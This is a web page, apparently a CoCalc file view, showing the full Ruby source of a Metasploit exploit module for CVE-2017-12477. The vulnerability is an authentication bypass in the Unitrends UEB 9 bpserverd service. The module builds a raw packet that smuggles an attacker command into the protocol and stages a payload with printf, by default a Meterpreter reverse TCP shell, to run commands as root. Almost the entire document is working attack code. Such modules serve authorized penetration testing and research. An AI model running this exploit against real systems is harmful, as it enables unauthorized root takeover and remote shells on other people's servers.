Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/ueb9_bpserverd.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'Unitrends UEB bpserverd authentication bypass RCE',14'Description' => %q{15It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,16has an issue in which its authentication can be bypassed. A remote attacker could use this17issue to execute arbitrary commands with root privilege on the target system.18},19'Author' =>20[21'Jared Arave', # @iotennui22'Cale Smith', # @0xC41323'Benny Husted' # @BennyHusted24],25'License' => MSF_LICENSE,26'Platform' => 'linux',27'Arch' => [ARCH_X86],28'CmdStagerFlavor' => [ 'printf' ],29'References' =>30[31['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],32['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],33['CVE', '2017-12477'],34],35'Targets' =>36[37[ 'UEB 9.*', { } ]38],39'Privileged' => true,40'DefaultOptions' => {41'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',42'SSL' => false43},44'DisclosureDate' => '2017-08-08',45'DefaultTarget' => 0))46register_options([47Opt::RPORT(1743)48])49deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')50end5152def check53s1 = connect(global = false)54buf1 = s1.get_once(-1).to_s55#parse out the bpd port returned56bpd_port = buf1[-8..-3].to_i5758#check if it's a valid port number (1-65534)59if bpd_port && bpd_port >= 1 && bpd_port <= 6553560Exploit::CheckCode::Detected61else62Exploit::CheckCode::Safe63end64end6566def execute_command(cmd, opts = {})6768#append a comment, ignore everything after our cmd69cmd = cmd + " #"7071# build the attack buffer...72command_len = cmd.length + 373packet_len = cmd.length + 2374data = "\xa5\x52\x00\x2d"75data << "\x00\x00\x00"76data << packet_len77data << "\x00\x00\x00"78data << "\x01"79data << "\x00\x00\x00"80data << "\x4c"81data << "\x00\x00\x00"82data << command_len83data << cmd84data << "\x00\x00\x00"8586begin87print_status("Connecting to xinetd for bpd port...")88s1 = connect(global = false)89buf1 = s1.get_once(-1).to_s9091#parse out the bpd port returned, we will connect back on this port to send our cmd92bpd_port = buf1[-8..-3].to_i9394print_good("bpd port received: #{bpd_port}")95vprint_status("Connecting to #{bpd_port}")9697s2 = connect(global = false, opts = {'RPORT'=>bpd_port})98vprint_good('Connected!')99100print_status('Sending command buffer to xinetd')101102s1.put(data)103s2.get_once(-1,1).to_s104105disconnect(s1)106disconnect(s2)107108rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e109fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")110end111112end113114def exploit115print_status("#{peer} - pwn'ng ueb 9....")116execute_cmdstager(:linemax => 200)117end118end119120121